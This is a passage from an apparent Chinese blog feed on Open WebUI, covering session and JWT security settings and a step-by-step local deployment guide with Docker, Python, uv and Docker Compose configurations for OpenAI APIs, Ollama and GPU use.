LDAP，SCIM 可以以后再说</li><li>企业正式上生产：如果人事变动频繁、合规要求高，就值得上 SCIM</li></ul><p>它的价值不在“让用户多一个登录按钮”，而在于减少人工维护账号、降低离职账号遗留风险。</p><h3 id="会话、JWT-与-Cookie">会话、JWT 与 Cookie</h3><p><strong>这是什么</strong></p><p>用户在浏览器里登录后，Open WebUI 需要一种机制记住登录状态，这通常会涉及：</p><ul><li><strong>JWT</strong>：登录令牌</li><li><strong>Session Cookie</strong>：浏览器保存的登录凭证</li><li><strong>Secret Key</strong>：服务器用来签名和加密敏感数据的密钥</li></ul><p><strong>当前版本重点配置</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SECRET_KEY=your-persistent-secret-key</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">JWT_EXPIRES_IN=4w</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SESSION_COOKIE_SAME_SITE=Lax</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">WEBUI_SESSION_COOKIE_SECURE=true</span></span><br></pre></td></tr></table></figure><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>WEBUI_SECRET_KEY</code></td><td>最关键的持久化密钥，用于会话签名和敏感数据解密</td></tr><tr><td><code>JWT_EXPIRES_IN</code></td><td>登录令牌过期时间，例如 <code>4w</code>、<code>7d</code></td></tr><tr><td><code>WEBUI_SESSION_COOKIE_SAME_SITE</code></td><td>Cookie 的跨站策略</td></tr><tr><td><code>WEBUI_SESSION_COOKIE_SECURE</code></td><td>是否只通过 HTTPS 发送 Cookie</td></tr></tbody></table><p><strong>为什么 <code>WEBUI_SECRET_KEY</code> 非常重要</strong></p><p>官网 FAQ 专门提到，如果你每次重建容器都不保留同一个 <code>WEBUI_SECRET_KEY</code>，会出现两类典型问题：</p><ul><li>用户升级或重启后被全部强制退出</li><li>一些已经加密保存的令牌、API Key、OAuth 凭证无法解密</li></ul><p>所以这个值一定要固定，不要让容器每次随机生成。</p><p><strong>我的管理方式</strong></p><p>这一点我会非常保守：</p><ol><li>生产环境固定设置 <code>WEBUI_SECRET_KEY</code></li><li>HTTPS 环境强制 <code>WEBUI_SESSION_COOKIE_SECURE=true</code></li><li>不把 <code>JWT_EXPIRES_IN</code> 设成无限期</li><li>升级容器前先确认密钥仍然通过同样方式注入</li></ol><p>这是最容易被忽略、但一出问题就会直接影响所有用户登录体验的一块。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/54154.html</id>
    <link href="https://blog.prorisehub.com/posts/54154.html"/>
    <published>2026-02-26T05:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>第三章. 管理员完整配置指南</h1>
<p>在上一章中，我们成功在本地部署了 Open]]>
    </summary>
    <title>第三章. 管理员完整配置指南</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>第二章. 本地快速部署</h1><p>在上一章中，我们了解了 Open WebUI 是什么。现在让我们动手实践，在本地环境中把它跑起来。本章将专注于本地部署，帮助你在最短时间内体验到 Open WebUI 的强大功能。</p><p>在开始之前，让我们明确一个目标：本章结束时，你将拥有一个运行在本地的 Open WebUI 实例，可以通过浏览器访问，并能够与 AI 模型进行对话。</p><hr><h2 id="2-1-环境准备">2.1. 环境准备</h2><p>在部署 Open WebUI 之前，我们需要先准备好基础环境。根据你选择的部署方式不同，需要准备的环境也不同。</p><h3 id="Docker-环境准备">Docker 环境准备</h3><p>Docker 是我们强烈推荐的部署方式。如果你还没有安装 Docker，请按照以下步骤操作。</p><div class="tabs" id="docker-安装"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="docker-安装-1">Windows 系统</button><button type="button" class="tab " data-href="docker-安装-2">macOS 系统</button><button type="button" class="tab " data-href="docker-安装-3">Linux 系统</button></ul><div class="tab-contents"><div class="tab-item-content active" id="docker-安装-1"><p><strong>步骤 1：下载 Docker Desktop</strong></p><p>访问 Docker 官网下载页面：<a href="https://www.docker.com/products/docker-desktop/">https://www.docker.com/products/docker-desktop/</a></p><p>点击 “Download for Windows” 按钮，下载安装包（约 500 MB）。</p><p><strong>步骤 2：安装 Docker Desktop</strong></p><p>双击下载的安装包，按照安装向导操作：</p><ul><li>勾选 “Use WSL 2 instead of Hyper-V”（推荐）</li><li>勾选 “Add shortcut to desktop”</li><li>点击 “Ok” 开始安装</li></ul><p>安装完成后，系统会提示重启电脑。重启后，Docker Desktop 会自动启动。</p><p><strong>步骤 3：验证安装</strong></p><p>打开 PowerShell 或命令提示符，输入以下命令：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="literal">--version</span></span><br></pre></td></tr></table></figure><p>如果看到类似 <code>Docker version 24.0.7, build afdd53b</code> 的输出，说明安装成功。</p><p><strong>步骤 4：配置 WSL 2（如果需要）</strong></p><p>如果安装过程中提示需要 WSL 2，请按照以下步骤操作：</p><p>打开 PowerShell（管理员模式），执行：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wsl <span class="literal">--install</span></span><br></pre></td></tr></table></figure><p>等待安装完成后，重启电脑。</p></div><div class="tab-item-content" id="docker-安装-2"><p><strong>步骤 1：下载 Docker Desktop</strong></p><p>访问 Docker 官网下载页面：<a href="https://www.docker.com/products/docker-desktop/">https://www.docker.com/products/docker-desktop/</a></p><p>根据你的 Mac 芯片类型选择：</p><ul><li>Apple Silicon（M1/M2/M3）：下载 “Mac with Apple chip”</li><li>Intel 芯片：下载 “Mac with Intel chip”</li></ul><p><strong>步骤 2：安装 Docker Desktop</strong></p><p>双击下载的 <code>.dmg</code> 文件，将 Docker 图标拖动到 Applications 文件夹。</p><p>打开 Applications 文件夹，双击 Docker 图标启动。</p><p>首次启动时，系统会要求输入密码以授权 Docker 安装网络组件。</p><p><strong>步骤 3：验证安装</strong></p><p>打开终端（Terminal），输入以下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker --version</span><br></pre></td></tr></table></figure><p>如果看到版本信息输出，说明安装成功。</p><p><strong>步骤 4：配置资源限制（可选）</strong></p><p>打开 Docker Desktop，点击右上角的设置图标，进入 “Resources” 选项卡：</p><ul><li>CPU：建议分配至少 4 核</li><li>Memory：建议分配至少 8 GB</li><li>Disk：建议分配至少 50 GB</li></ul></div><div class="tab-item-content" id="docker-安装-3"><p><strong>步骤 1：更新系统包</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt upgrade -y</span><br></pre></td></tr></table></figure><p><strong>步骤 2：安装 Docker</strong></p><p>对于 Ubuntu/Debian 系统，执行以下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装必要的依赖</span></span><br><span class="line"><span class="built_in">sudo</span> apt install -y ca-certificates curl gnupg lsb-release</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加 Docker 官方 GPG 密钥</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /etc/apt/keyrings</span><br><span class="line">curl -fsSL https://download.docker.com/linux/ubuntu/gpg | <span class="built_in">sudo</span> gpg --dearmor -o /etc/apt/keyrings/docker.gpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加 Docker 仓库</span></span><br><span class="line"><span class="built_in">echo</span> \</span><br><span class="line">  <span class="string">&quot;deb [arch=<span class="subst">$(dpkg --print-architecture)</span> signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \</span></span><br><span class="line"><span class="string">  <span class="subst">$(lsb_release -cs)</span> stable&quot;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/apt/sources.list.d/docker.list &gt; /dev/null</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 Docker Engine</span></span><br><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin</span><br></pre></td></tr></table></figure><p><strong>步骤 3：配置用户权限</strong></p><p>将当前用户添加到 docker 组，避免每次都需要 sudo：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> usermod -aG docker <span class="variable">$USER</span></span><br></pre></td></tr></table></figure><p>注销并重新登录，或执行以下命令使权限生效：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">newgrp docker</span><br></pre></td></tr></table></figure><p><strong>步骤 4：验证安装</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker --version</span><br><span class="line">docker compose version</span><br></pre></td></tr></table></figure><p>如果两个命令都能正常输出版本信息，说明安装成功。</p><p><strong>步骤 5：启动 Docker 服务</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl start docker</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> docker</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h3 id="Python-环境准备（非-Docker-部署）">Python 环境准备（非 Docker 部署）</h3><p>如果你选择使用 Python 直接安装 Open WebUI，需要准备 Python 环境。</p><div class="tabs" id="python-安装"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="python-安装-1">Windows 系统</button><button type="button" class="tab " data-href="python-安装-2">macOS 系统</button><button type="button" class="tab " data-href="python-安装-3">Linux 系统</button></ul><div class="tab-contents"><div class="tab-item-content active" id="python-安装-1"><p><strong>步骤 1：下载 Python</strong></p><p>访问 Python 官网：<a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></p><p>下载 Python 3.11 版本（推荐）。</p><p><strong>步骤 2：安装 Python</strong></p><p>双击安装包，<strong>务必勾选</strong> “Add Python to PATH” 选项，然后点击 “Install Now”。</p><p><strong>步骤 3：验证安装</strong></p><p>打开命令提示符，输入：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python <span class="literal">--version</span></span><br><span class="line">pip <span class="literal">--version</span></span><br></pre></td></tr></table></figure><p>如果看到版本信息，说明安装成功。</p><p><strong>步骤 4：安装 uv（推荐）</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell <span class="literal">-ExecutionPolicy</span> ByPass <span class="literal">-c</span> <span class="string">&quot;irm https://astral.sh/uv/install.ps1 | iex&quot;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="python-安装-2"><p><strong>步骤 1：安装 Homebrew（如果还没有）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/bin/bash -c <span class="string">&quot;<span class="subst">$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)</span>&quot;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 2：安装 Python</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install python@3.11</span><br></pre></td></tr></table></figure><p><strong>步骤 3：验证安装</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python3 --version</span><br><span class="line">pip3 --version</span><br></pre></td></tr></table></figure><p><strong>步骤 4：安装 uv（推荐）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LsSf https://astral.sh/uv/install.sh | sh</span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="python-安装-3"><p><strong>步骤 1：安装 Python</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install -y python3.11 python3.11-venv python3-pip</span><br></pre></td></tr></table></figure><p><strong>步骤 2：验证安装</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python3 --version</span><br><span class="line">pip3 --version</span><br></pre></td></tr></table></figure><p><strong>步骤 3：安装 uv（推荐）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LsSf https://astral.sh/uv/install.sh | sh</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><hr><h2 id="2-2-使用-Docker-Compose-部署">2.2. 使用 Docker Compose 部署</h2><p>现在环境已经准备好了，让我们开始部署 Open WebUI。</p><p>我们直接使用 <strong>Docker Compose</strong> 进行部署——这是官方推荐的方式，也是最规范、最易维护的方案。所有配置集中在一个 YAML 文件中，启动、停止、更新都只需要一条命令。</p><blockquote><p>💡 <strong>为什么不用 <code>docker run</code>？</strong> 虽然一条 <code>docker run</code> 命令也能启动，但参数又长又容易出错，修改配置需要删除容器重建，多服务管理更是噩梦。Docker Compose 从一开始就解决了这些问题，没有理由绕弯路。</p></blockquote><h3 id="步骤-1：克隆官方仓库">步骤 1：克隆官方仓库</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/open-webui/open-webui.git</span><br><span class="line"><span class="built_in">cd</span> open-webui</span><br></pre></td></tr></table></figure><p>仓库中已经包含了官方的 <code>docker-compose.yaml</code>，默认配置了 Open WebUI + Ollama 两个服务。</p><blockquote><p>如果你的网络无法访问 GitHub，可以手动下载仓库的 ZIP 包，或者只创建一个目录并手动编写配置文件（见下方配置示例）。</p></blockquote><h3 id="步骤-2：根据场景选择配置">步骤 2：根据场景选择配置</h3><p>官方的 <code>docker-compose.yaml</code> 默认包含 Ollama 服务。但实际使用中，你可能不需要 Ollama（比如你只用 OpenAI API），或者你的 Ollama 已经安装在宿主机上。</p><p>我们推荐使用 <strong><code>docker-compose.override.yaml</code></strong> 或独立的配置文件来覆盖默认配置，这样官方文件保持不动，<code>git pull</code> 更新时不会产生冲突。</p><div class="tabs" id="docker-compose-配置方案"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="docker-compose-配置方案-1">方案一：仅 Open WebUI（连接外部 API）</button><button type="button" class="tab " data-href="docker-compose-配置方案-2">方案二：Open WebUI + Ollama（本地模型）</button><button type="button" class="tab " data-href="docker-compose-配置方案-3">方案三：Open WebUI + 宿主机 Ollama</button><button type="button" class="tab " data-href="docker-compose-配置方案-4">方案四：Open WebUI + Ollama + GPU</button></ul><div class="tab-contents"><div class="tab-item-content active" id="docker-compose-配置方案-1"><p><strong>适用场景</strong>：不需要本地模型，只使用 OpenAI、Claude 等外部 API。</p><p>创建 <code>docker-compose.local.yaml</code> 文件：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ghcr.io/open-webui/open-webui:$&#123;WEBUI_DOCKER_TAG-main&#125;</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">open-webui</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">$&#123;OPEN_WEBUI_PORT-3000&#125;:8080</span></span><br><span class="line">    <span class="attr">extra_hosts:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">host.docker.internal:host-gateway</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="comment"># 连接外部 OpenAI 兼容 API</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">OPENAI_API_BASE_URL=https://api.openai.com/v1</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">OPENAI_API_KEY=sk-your-api-key-here</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ENABLE_OPENAI_API=True</span></span><br><span class="line">      <span class="comment"># 关闭 Ollama（不需要本地模型）</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ENABLE_OLLAMA_API=False</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">open-webui-data:/app/backend/data</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">open-webui-data:</span></span><br></pre></td></tr></table></figure><p>启动命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d</span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="docker-compose-配置方案-2"><p><strong>适用场景</strong>：想要运行开源模型（如 Qwen、Llama），完全离线使用。</p><p>直接使用官方的 <code>docker-compose.yaml</code> 即可，无需额外配置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose up -d</span><br></pre></td></tr></table></figure><p>官方配置会同时启动 Ollama 和 Open WebUI，并自动建立连接。</p><p>启动后，你需要下载一个模型才能开始对话：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 Ollama 容器内下载模型</span></span><br><span class="line">docker compose <span class="built_in">exec</span> ollama ollama pull qwen2.5:7b</span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="docker-compose-配置方案-3"><p><strong>适用场景</strong>：Ollama 已经安装在宿主机上，不想在 Docker 中再跑一个。</p><p>创建 <code>docker-compose.local.yaml</code> 文件：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ghcr.io/open-webui/open-webui:$&#123;WEBUI_DOCKER_TAG-main&#125;</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">open-webui</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">$&#123;OPEN_WEBUI_PORT-3000&#125;:8080</span></span><br><span class="line">    <span class="attr">extra_hosts:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">host.docker.internal:host-gateway</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">OLLAMA_BASE_URL=http://host.docker.internal:11434</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">open-webui-data:/app/backend/data</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">open-webui-data:</span></span><br></pre></td></tr></table></figure><p>启动命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d</span><br></pre></td></tr></table></figure><blockquote><p><code>host.docker.internal</code> 是 Docker 提供的特殊域名，指向宿主机。通过 <code>extra_hosts</code> 配置后，容器内可以用这个域名访问宿主机上运行的 Ollama。</p></blockquote></div><div class="tab-item-content" id="docker-compose-配置方案-4"><p><strong>适用场景</strong>：有 NVIDIA GPU，想要加速本地模型推理。</p><p>创建 <code>docker-compose.local.yaml</code> 文件：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">ollama:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ollama/ollama:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">ollama</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ollama-data:/root/.ollama</span></span><br><span class="line">    <span class="attr">deploy:</span></span><br><span class="line">      <span class="attr">resources:</span></span><br><span class="line">        <span class="attr">reservations:</span></span><br><span class="line">          <span class="attr">devices:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">driver:</span> <span class="string">nvidia</span></span><br><span class="line">              <span class="attr">count:</span> <span class="string">all</span></span><br><span class="line">              <span class="attr">capabilities:</span> [<span class="string">gpu</span>]</span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ghcr.io/open-webui/open-webui:$&#123;WEBUI_DOCKER_TAG-main&#125;</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">open-webui</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">$&#123;OPEN_WEBUI_PORT-3000&#125;:8080</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">OLLAMA_BASE_URL=http://ollama:11434</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ollama</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">open-webui-data:/app/backend/data</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">ollama-data:</span></span><br><span class="line">  <span class="attr">open-webui-data:</span></span><br></pre></td></tr></table></figure><p><strong>前置要求</strong>：需要安装 NVIDIA 驱动和 NVIDIA Container Toolkit。</p><p>安装 NVIDIA Container Toolkit（Ubuntu/Debian）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">distribution=$(. /etc/os-release;<span class="built_in">echo</span> $ID<span class="variable">$VERSION_ID</span>)</span><br><span class="line">curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | <span class="built_in">sudo</span> apt-key add -</span><br><span class="line">curl -s -L https://nvidia.github.io/nvidia-docker/<span class="variable">$distribution</span>/nvidia-docker.list | \</span><br><span class="line">  <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/apt/sources.list.d/nvidia-docker.list</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> apt-get update</span><br><span class="line"><span class="built_in">sudo</span> apt-get install -y nvidia-container-toolkit</span><br><span class="line"><span class="built_in">sudo</span> systemctl restart docker</span><br></pre></td></tr></table></figure><p>启动命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h3 id="步骤-3：使用-env-管理变量（可选）">步骤 3：使用 .env 管理变量（可选）</h3><p>如果你不想把 API Key 等敏感信息写在 YAML 文件中，可以创建一个 <code>.env</code> 文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># .env 文件（与 docker-compose 文件同目录）</span></span><br><span class="line">WEBUI_DOCKER_TAG=main</span><br><span class="line">OPEN_WEBUI_PORT=3000</span><br><span class="line">OPENAI_API_KEY=sk-your-api-key-here</span><br></pre></td></tr></table></figure><p>然后在 <code>docker-compose.local.yaml</code> 中用 <code>$&#123;OPENAI_API_KEY&#125;</code> 引用即可。<code>.env</code> 文件通常已被 <code>.gitignore</code> 忽略，不会被提交到版本库。</p><h3 id="步骤-4：启动并验证">步骤 4：启动并验证</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启动（根据你选择的方案）</span></span><br><span class="line">docker compose -f docker-compose.local.yaml up -d</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看容器状态</span></span><br><span class="line">docker compose -f docker-compose.local.yaml ps</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看日志（如果需要排查问题）</span></span><br><span class="line">docker compose -f docker-compose.local.yaml logs --<span class="built_in">tail</span> 50</span><br></pre></td></tr></table></figure><p>你应该看到类似以下输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">NAME           IMAGE                                COMMAND          STATUS                 PORTS</span><br><span class="line">open-webui     ghcr.io/open-webui/open-webui:main   &quot;bash start.sh&quot;  Up 2 minutes (healthy) 0.0.0.0:3000-&gt;8080/tcp</span><br></pre></td></tr></table></figure><p>状态为 <code>Up ... (healthy)</code> 表示服务已正常运行。</p><h3 id="Docker-Compose-常用命令速查">Docker Compose 常用命令速查</h3><p>以下命令均以 <code>-f docker-compose.local.yaml</code> 为例，如果你使用官方默认的 <code>docker-compose.yaml</code>，去掉 <code>-f</code> 参数即可。</p><table><thead><tr><th>命令</th><th>作用</th></tr></thead><tbody><tr><td><code>docker compose -f docker-compose.local.yaml up -d</code></td><td>启动所有服务</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml down</code></td><td>停止并删除容器</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml restart</code></td><td>重启服务</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml ps</code></td><td>查看状态</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml logs -f</code></td><td>实时查看日志</td></tr><tr><td><code>docker compose -f docker-compose.local.yaml 